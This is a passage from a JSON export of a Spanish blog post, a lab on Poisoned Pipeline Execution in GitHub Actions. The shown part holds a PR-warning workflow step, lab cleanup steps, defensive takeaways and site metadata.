script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              body: '\u26a0\ufe0f **Build File Change Detected**\\n\\nThis PR modifies build-critical files. A security team review is required before merging.\\n\\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'\n            });\n<\/code><\/pre>\n<h2>Limpieza<\/h2>\n<p>Despu\u00e9s de completar el laboratorio:<\/p>\n<ol>\n<li>Elimina el repositorio <code>ppe-lab-victim<\/code>.<\/li>\n<li>Elimina el repositorio forkeado.<\/li>\n<li>Revoca cualquier token de acceso personal que hayas creado para las pruebas.<\/li>\n<li>Elimina el secreto de repositorio <code>MY_SECRET<\/code> si el repositorio a\u00fan existe.<\/li>\n<\/ol>\n<p>No dejes workflows de prueba vulnerables ejecut\u00e1ndose en ning\u00fan repositorio que pretendas conservar.<\/p>\n<h2>Conclusiones clave<\/h2>\n<ul>\n<li><strong>El trigger <code>pull_request<\/code> es seguro contra D-PPE<\/strong> porque ejecuta el workflow de la rama base, no de la rama del PR.<\/li>\n<li><strong><code>pull_request_target<\/code> + checkout del HEAD del PR es el patr\u00f3n m\u00e1s peligroso<\/strong> en GitHub Actions. Otorga al c\u00f3digo del atacante acceso a secretos y permisos de escritura.<\/li>\n<li><strong>Indirect PPE elude las protecciones a nivel de workflow<\/strong> envenenando archivos que el pipeline ejecuta (Makefiles, scripts, configuraciones) en lugar del workflow en s\u00ed.<\/li>\n<li><strong>Separa las etapas no confiables de las confiables:<\/strong> ejecuta la validaci\u00f3n de PRs sin secretos y solo otorga secretos a workflows activados por pushes a ramas protegidas.<\/li>\n<li><strong>La defensa en profundidad es esencial:<\/strong> combina CODEOWNERS, requisitos de aprobaci\u00f3n, permisos m\u00ednimos, ejecuci\u00f3n en sandbox y scripts de detecci\u00f3n.<\/li>\n<li><strong>Trata cada archivo en un PR como entrada no confiable<\/strong> \u2014 no solo el YAML del workflow, sino cada script, configuraci\u00f3n y manifiesto que el pipeline toque.<\/li>\n<\/ul>\n<h2>Pr\u00f3ximos pasos<\/h2>\n<p>Contin\u00faa fortaleciendo tus conocimientos de seguridad CI\/CD con estas gu\u00edas relacionadas:<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/ci-cd-execution-models-trust-assumptions-security-guide\/\">Modelos de ejecuci\u00f3n CI\/CD y suposiciones de confianza<\/a> \u2014 Comprende los l\u00edmites de confianza y contextos de ejecuci\u00f3n que hacen posible PPE.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Patrones defensivos y mitigaciones para ataques a pipelines CI\/CD<\/a> \u2014 Un cat\u00e1logo completo de patrones defensivos m\u00e1s all\u00e1 de PPE, que cubre todo el OWASP CI\/CD Top 10.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Descripci\u00f3n general Poisoned Pipeline Execution (PPE) ocupa el puesto n.\u00ba 2 en el OWASP CI\/CD Security Top 10. Se trata de una clase de ataques en la que un actor malicioso manipula el proceso de compilaci\u00f3n inyectando c\u00f3digo en las definiciones del pipeline o en los scripts de compilaci\u00f3n, generalmente a trav\u00e9s de un pull &#8230; <a title=\"Laboratorio: Explotaci\u00f3n y Defensa contra Poisoned Pipeline Execution (PPE)\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/\" aria-label=\"Leer m\u00e1s sobre Laboratorio: Explotaci\u00f3n y Defensa contra Poisoned Pipeline Execution (PPE)\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,60],"tags":[],"post_folder":[],"class_list":["post-702","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/702","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=702"}],"version-history":[{"count":1,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/702\/revisions"}],"predecessor-version":[{"id":703,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/702\/revisions\/703"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=702"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=702"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=702"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=702"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}